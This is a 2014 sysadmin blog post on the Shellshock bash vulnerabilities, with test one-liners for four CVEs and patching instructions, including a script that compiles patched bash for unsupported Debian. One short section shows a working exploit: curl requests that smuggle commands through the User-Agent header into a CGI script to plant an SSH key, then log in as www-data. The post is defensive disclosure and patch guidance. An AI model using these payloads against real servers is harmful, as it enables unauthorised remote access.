David Moreau Simard

5 minute read

The vulnerability

A bash vulnerability ? Talk about a lot of servers affected.

It’s been all over the internet since yesterday:

Lots of good reading above into what the vulnerability is and what is the impact.

Long story short: You should patch. Now.

Some people compare this disaster to the likes of heartbleed, rightfully so.

Checking if you’re vulnerable

# CVE-2014-6271
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If unpatched, you should see something like this:

vulnerable
this is a test

If patched, you’ll get this instead:

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Distributions released a patch that fixed part of the problem and reduced the scope of the issue. You’ll want to check if you’re “halfway” patched with the following command:

# CVE-2014-7169
env X='() { (a)=>\' sh -c "echo date"; cat echo

If unpatched, the above created a “echo” file with the date in it:

sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Thu Sep 25 20:10:13 EDT 2014

When patched with the second security release, proper behavior:

date
cat: echo: No such file or directory

Two additional CVE were also released, namely CVE-2014-7186 and CVE-2014-7187. To test wether or not you are protected against them:

CVE-2014-7186

bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF
<<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

CVE-2014-7187

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do ee
cho done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

You should NOT see output with ‘vulnerable’ in it.

Vulnerable:

# bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF
> <<EOF <<EOF <<EOF' ||
> echo "CVE-2014-7186 vulnerable, redir_stack"
Segmentation fault
CVE-2014-7186 vulnerable, redir_stack

# (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do ee
> cho done ; done) | bash ||
> echo "CVE-2014-7187 vulnerable, word_lineno"
bash: line 129: syntax error near `x129'
bash: line 129: `for x129 in ; do :'
CVE-2014-7187 vulnerable, word_lineno

Protected:

# bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ||
> echo "CVE-2014-7186 vulnerable, redir_stack"
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')
bash: warning: here-document at line 0 delimited by end-of-file (wanted `EOF')

# (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
> echo "CVE-2014-7187 vulnerable, word_lineno"

The worst case scenario

After running around updating affected servers, I had some fun on an unpatched server that is off the public network. I obtained a SSH shell without much effort involved.

curl -k -H 'User-Agent: () { :;}; /bin/mkdir /var/www/.ssh' http://host/cgi-bin/script.sh
curl -k -H 'User-Agent: () { :;}; echo "ssh-rsa AAA[...]Zzf lolbash" >/var/www/.ssh/authorized_keys' http://host/cgi-bin/script.sh
ssh www-data@host
www-data@host:~$ w
09:42:09 up 1399 days, 15:44,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/3    256.256.256.256   09:18    9:56   0.10s  0.10s -bash
www-data pts/4    256.256.256.256   09:28    0.00s  0.00s  0.00s w

Updating recent and supported systems

Ubuntu 12.04 “Precise” and 14.04 “Trusty”, Debian 7 “Wheezy”

apt-get update; apt-get install bash

Debian 6 “Squeeze”

Debian released a patched version of Bash for the LTS release of Debian Squeeze. It is not in the main Squeeze repository. So in order to obtain the patch, you need to enable the LTS repo.

/etc/apt/sources.list.d/squeezelts.list

deb http://http.debian.net/debian/ squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free

/etc/apt/apt.conf.d/50squeezelts

APT::Default-Release "squeeze-lts";

Then run the update:

apt-get update; apt-get install bash

Patching older and unsupported systems

Debian 5 (Lenny) is pretty old.. but I happen to have a couple servers that are still running it. Debian doesn’t patch Lenny anymore so you need to compile a patched version of bash.

I’m told this script also works for older/unsupported versions of Ubuntu as well.

Put this in /usr/local/src, make it executable and run it.

/usr/local/src/compile_bash.sh

#!/bin/bash
# Retrieve and install dependencies first
apt-get update && apt-get install build-essential gettext bison

# Get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# Download and apply all patches
# Includes patches for CVE-2014-6271 (52), CVE-2014-7169 (53), CVE-2014-7186 and CVE-2014-7187 (55)
# ... as well as the latest updates (up to 57)
for i in $(seq -f "%03g" 1 57); do
	wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
	patch -p0 < bash32-$i
done

# Compile and install to /usr/local/bin/bash
./configure && make
make install

# Point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash